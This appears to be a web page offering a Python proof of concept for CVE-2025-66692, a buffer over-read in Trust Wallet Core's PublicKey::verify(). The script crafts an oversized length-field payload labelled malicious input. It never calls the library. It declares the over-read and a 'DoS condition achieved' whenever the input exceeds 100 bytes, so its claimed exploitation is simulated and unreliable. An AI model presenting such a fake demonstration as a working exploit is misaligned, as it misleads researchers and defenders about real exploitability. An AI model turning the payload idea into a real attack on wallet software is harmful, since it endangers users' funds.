CVE-2025-66692 Trust Wallet Core PublicKey::verify()缓冲区过度读取漏洞

#!/usr/bin/env python3 """ CVE-2025-66692 PoC - Trust Wallet Core Buffer Over-Read This PoC demonstrates the vulnerability in PublicKey::verify() method Note: This is for educational/research purposes only """ import struct def craft_malicious_input(): """ Craft a malicious input to trigger buffer over-read in PublicKey::verify() The vulnerability exists due to insufficient bounds checking """ # Malformed signature data that triggers over-read # The signature contains invalid length fields malicious_data = bytearray() # Public key header (normally indicates key type and length) # Using invalid compression flag to trigger parsing error malicious_data.extend(b'\x03' * 33) # Invalid public key format # Signature with crafted length that exceeds actual data signature_length = 0xFFFF # Intentionally large value malicious_data.extend(struct.pack('<I', signature_length)) # Message hash that will be verified message_hash = b'\x00' * 32 malicious_data.extend(message_hash) return bytes(malicious_data) def trigger_vulnerability(data): """ Simulates the vulnerable verification flow In real scenario, this would call Trust Wallet Core's verify() method """ print(f"[*] Crafted malicious input length: {len(data)} bytes") print(f"[*] Attempting to trigger buffer over-read...") # Simulate verification with crafted input # The vulnerable code would read beyond allocated buffer try: # In actual vulnerable implementation: # - Read signature length from input # - Allocate buffer based on length field # - Copy signature data without proper validation # - This leads to reading beyond buffer boundaries # Simulated buffer allocation failure if len(data) > 100: print("[!] Buffer over-read triggered - reading beyond allocated memory") return False except Exception as e: print(f"[!] Vulnerability triggered: {e}") return False return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-66692 Trust Wallet Core Buffer Over-Read PoC") print("=" * 60) malicious_input = craft_malicious_input() result = trigger_vulnerability(malicious_input) if not result: print("[+] PoC execution completed - DoS condition achieved") else: print("[-] Vulnerability not triggered with current input")